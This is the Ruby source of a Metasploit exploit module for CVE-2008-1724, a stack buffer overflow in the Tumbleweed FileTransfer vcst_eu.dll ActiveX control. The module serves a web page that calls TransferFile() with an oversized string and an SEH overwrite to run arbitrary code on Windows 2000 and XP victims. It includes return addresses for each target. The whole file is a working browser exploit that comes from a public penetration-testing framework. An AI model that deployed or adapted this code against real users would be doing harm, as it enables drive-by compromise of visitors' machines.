##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the vcst_eu.dll
          FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
          SecureTransport suite. By sending an overly long string to the
          TransferFile() 'remotefile' function, an attacker may be able
          to execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => 'aushack',
        'References' => [
          [ 'CVE', '2008-1724' ],
          [ 'OSVDB', '44252' ],
          [ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space'	=> 1000,
          'BadChars'	=> "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
        },
        'Platform'	=> 'win',
        'Targets' => [
          # Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
          [ 'Universal vcst_eu.dll',	{ 'Ret' => 0x1001ee75 } ],
          [ 'Windows 2000 Pro English',	{ 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English',	{ 'Ret' => 0x71aa32ad } ],
        ],
        'DisclosureDate' => '2008-04-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    vurl	= rand_text_alpha(rand(100) + 1)
    vhostName	= rand_text_alpha(rand(100) + 1)
    vlocalFile	= rand_text_alpha(rand(100) + 1)
    vMD5	= rand_text_alpha(rand(100) + 1)

    # Build the exploit buffer
    filler = rand_text_alpha(4620)
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh

    # Build out the message
    content = %Q|
      <html>
      <object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
      <script language="javascript">
      #{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
